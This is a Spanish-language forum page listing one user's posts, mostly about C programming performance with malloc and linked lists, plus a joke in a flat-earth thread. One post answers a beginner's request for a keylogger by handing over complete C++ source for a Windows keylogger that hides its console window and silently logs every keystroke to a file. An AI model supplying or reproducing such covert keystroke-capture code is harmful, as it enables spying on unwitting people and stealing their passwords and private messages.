Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Usuario887

#91
Cita de: el_hacker1724 en 14 Octubre 2021, 10:29 AM
hola a todos

hay alguien que me pueda ayudar a crear un keylogger? porfavor lo necesito. se 0 de programacion ya que soy nuevo por lo que si mandais links y tutoriales mejor


gracias ;-) ;-)

Me imagino que para Windows.

Aqui tienes el codigo facilito en C++ de uno. Si dices que sabes nada en programacion me imagino tambien que veras eso y te dara el palo de tu vida... Pero en el caso contrario, te dejo abajo un par de links que son mas que suficientes para entenderlo. No dudes en preguntar, aqui todos estan dispuestos a ayudar.


Código (cpp) [Seleccionar]
#define _WIN32_WINNT 0x0500 //getConsoleWindow()
#include <iostream>
#include <string>
#include <map> //Array asociativo
#include <windows.h>

using namespace std;

int main(int argc, char *argv[])
{  
   /*
   Array asociativo. la clave es el número decimal y el valor el carácter que representa.
   Está adaptado para un teclado en español. Ya que como viene configurado por defecto
   el número decimal dado no se corresponde a algunas de las teclas de un teclado en español.
   */        
   map<int, string> ch;
   ch[1] = " [mouse click] ";
   ch[2] = " [mouse menu context] ";
   ch[8] = " [Backspace] ";
   ch[9] = " [Tab] ";
   ch[13] = " [Intro] ";
   ch[16] = " [Shift] ";
   ch[17] = " [Control] ";
   ch[18] = " [Alt] ";
   ch[20] = " [Bloq Mayús] ";
   ch[27] = " [Esc] ";
   ch[32] = " ";
   ch[37] = " [Flecha izquierda] ";
   ch[38] = " [Flecha arriba] ";
   ch[39] = " [Flecha derecha] ";
   ch[40] = " [Flecha abajo] ";
   ch[44] = " [Impr Pant] ";
   ch[45] = " [Insert] ";
   ch[46] = " [Supr] ";
   ch[48] = "0";
   ch[49] = "1";
   ch[50] = "2";
   ch[51] = "3";
   ch[52] = "4";
   ch[53] = "5";
   ch[54] = "6";
   ch[55] = "7";
   ch[56] = "8";
   ch[57] = "9";
   ch[65] = "a";
   ch[66] = "b";
   ch[67] = "c";
   ch[68] = "d";
   ch[69] = "e";
   ch[70] = "f";
   ch[71] = "g";
   ch[72] = "h";
   ch[73] = "i";
   ch[74] = "j";
   ch[75] = "k";
   ch[76] = "l";
   ch[77] = "m";
   ch[78] = "n";
   ch[79] = "o";
   ch[80] = "p";
   ch[81] = "q";
   ch[82] = "r";
   ch[83] = "s";
   ch[84] = "t";
   ch[85] = "u";
   ch[86] = "v";
   ch[87] = "w";
   ch[88] = "x";
   ch[89] = "y";
   ch[90] = "z";
   ch[91] = " [Menu Windows] ";
   ch[96] = "0";
   ch[97] = "1";
   ch[98] = "2";
   ch[99] = "3";
   ch[100] = "4";
   ch[101] = "5";
   ch[102] = "6";
   ch[103] = "7";
   ch[104] = "8";
   ch[105] = "9";
   ch[106] = "*";
   ch[107] = "+";
   ch[109] = "-";
   ch[110] = ".";
   ch[111] = "/";
   ch[112] = " [F1] ";
   ch[113] = " [F2] ";
   ch[114] = " [F3] ";
   ch[115] = " [F4] ";
   ch[116] = " [F5] ";
   ch[117] = " [F6] ";
   ch[118] = " [F7] ";
   ch[119] = " [F8] ";
   ch[120] = " [F9] ";
   ch[121] = " [F10] ";
   ch[122] = " [F11] ";
   ch[123] = " [F12] ";
   ch[144] = " [ Bloq Num ] ";
   ch[145] = " [Bloq Despl] ";
   ch[186] = "`";
   ch[187] = "+";
   ch[188] = ",";
   ch[189] = "-";
   ch[190] = ".";
   ch[191] = "ç";
   ch[192] = "ñ";
   ch[219] = "'";
   ch[220] = "º";
   ch[221] = "¡";
   ch[222] = "´";
   ch[226] = "<";


/* Manejador para un fichero donde se irán guardando las pulsaciones */
FILE * log;
/* Variable para crear un salto de línea cada 50 caracteres */
int count = 1;

/* Ocultar la consola */
HWND hWnd = GetConsoleWindow();
/* 0 = oculta ; 1 = visible */
ShowWindow( hWnd, 0);

/* Búcle infinito para detectar las pulsaciones de tecla */
while (true)
{
    /* Recorrer el número de carácteres de la tabla ASCII que son 255 */
    for (int c = 0; c < 256; c++)
    {
        /* Si una tecla es pulsada */
        if (GetAsyncKeyState(c) == -32767)
         {
            /* Abrir el fichero */
            log = fopen("log.txt", "a");
            /* Si count es igual a 50 incluir un salto de línea en el fichero */
            if (count == 50) {fputs("\n", log); count=1;}
            /* Escribir en el fichero el carácter de la tecla pulsada */
            fputs(ch[c].c_str(), log);
            /* Cerrar el fichero */
            fclose(log);
            /* Aumentar en uno el valor de count */
            count++;
        }
    }
}    

system("PAUSE");
return 0;
}


http://jquery-manual.blogspot.com/2015/06/37-tutorial-de-c-en-espanol-tecla.html





https://frrq.cvg.utn.edu.ar/pluginfile.php/13741/mod_resource/content/0/El-lenguaje-de-programacion-C-2-ed-kernighan-amp-ritchie.pdf

https://es.wikipedia.org/wiki/Biblioteca_est%C3%A1ndar_de_C

https://docs.microsoft.com/en-us/windows/console/getconsolewindow

https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-showwindow

https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getasynckeystate
#92
Foro Libre / Re: Terraplanistas
25 Octubre 2021, 11:05 AM
#93
Foro Libre / Re: Terraplanistas
23 Octubre 2021, 11:14 AM
Cita de: Randomize en 15 Octubre 2021, 12:54 PM

¿Y quién te ha dicho que aquí no comamos vestidos y sin vestir?

:xD

Ante el amor: el alma desnuda, el cuero tambien. Machacador sabe.

#94
Nada... La afinidad igual no era el problema. Me hubiera gustado que fuera cuestion solo de ajustar la afinidad porque no tendria que volver a programar todo otra vez xd




Por si a alguien le interesa:

Ya que de antemano conozco el tamaño del archivo, lo que hice fue modificar la funcion que adhiere al final de la lista creando un nuevo espacio de memoria para que en vez de eso simplemente cargase en un espacio mayor anteriormente reservado sumando el tamaño de la lista:

Es decir, de:

struct __quotesmem *newq=(struct __quotesmem *)malloc(sizeof(struct __quotesmem));
...

quotesmem->next=newq;


A:

memcpy((struct __quotesmem *) &quotesmem[i],
               (struct __quotesmem *) &newq,
               sizeof (struct __quotesmem));

        quotesmem[i].next=NULL;
        quotesmem[i-1].next=&quotesmem[i];
        quotesmem[i].last=&quotesmem[i-1];


Asi no tuve que modificar el comportamiento del programa entero ya que esta totalmente basado en listas enlazadas.




Gracias de nuevo.
#95
Cita de: Eternal Idol en 21 Octubre 2021, 17:40 PM
No; waste.exe es el ejecutable generado con el codigo que deje, en sus dos versiones. El sistema no detecta nada, esa es una conclusion apresurada y sin respaldo.

Ya lo se ya lo se... Fue una metafora. Me referia a que si el sistema operativo estaba detectando un programa que aparentemente no esta haciendo nada mas que dar vueltas en la nada.




Ya se que pasa... Comente la linea que llama a la funcion que reserva memoria y cargo los 20 MB en menos de tres segundos  :xD :xD :xD :xD :xD :xD

No se por que malloc es tan lenta... Bueno. Supongo que tendre que arreglarmelas sin listas enlazadas... A saber como hago eso... En fin.

Muchisimas gracias en verdad... No se cuanto habria tardado en darme cuenta de eso por mi mismo...

3 segundos... hijo de p*ta...
#96
Cita de: MinusFour en 21 Octubre 2021, 17:04 PM
Tarda 40 minutos en hacer el copiado a tu __quotesmem

Exacto
#97
Si, Eternal Idol, entiendo que la ejecucion de un ciclo no puede ser dividida, pero lo que no entiendo es por que disminuye, porque no es que sea baja la velocidad, es que disminuye con el tiempo, es decir, es mas rapida en un momento y mas lenta a medida que pasan los segundos... eso es lo que no logro comprender




¿Es eso lo que esta detectando el sistema? ¿Un waste.exe?
#98
Cita de: MinusFour en 21 Octubre 2021, 17:04 PM
el coste de la interrupción es alto.

Idealmente no querras llamar esta funcion millones de veces

A malloc la llamo tantas veces como filas haya en el archivo, y en este hay once millones...

Esa funcion solo carga la fila actual en la estructura, en bQuotesmem, luego ese puntero es recogido por el caller de la funcion y llama a otra que mete la estructura en la lista enlazada (pero claro, cada vez que la llama, es decir, por fila, reserva memoria nuevamente)

¿Entonces si se debe a eso?
#99
Ha de ser que nunca habia cargado tantas entradas en una lista enlazada... Siempre las habia hecho por practicar con unas doscientas como maximo. ¿Son tan lentas en realidad? ¿Si es asi como es que programas como GTA V que cargan 2 GB en memoria lo hacen en menos de dos minutos? Mi programa esta cargando 20 MB   :huh:

Obviamente se debera a las habilidades de programacion. Supongo que intentare algo que no sean listas o que implique reservar memoria del heap...
#100
Me equivoque de calculo  ;D

En total son 31.536.000 estructuras mas o menos...

Adjunto capturas del rendimiento:




Esto en tiempo de ejecucion.


Insisto, si no es malloc esto se tiene que deber a algun sistema de seguridad que proteja al OS de ataques de denegacion de servicio por parte de programas...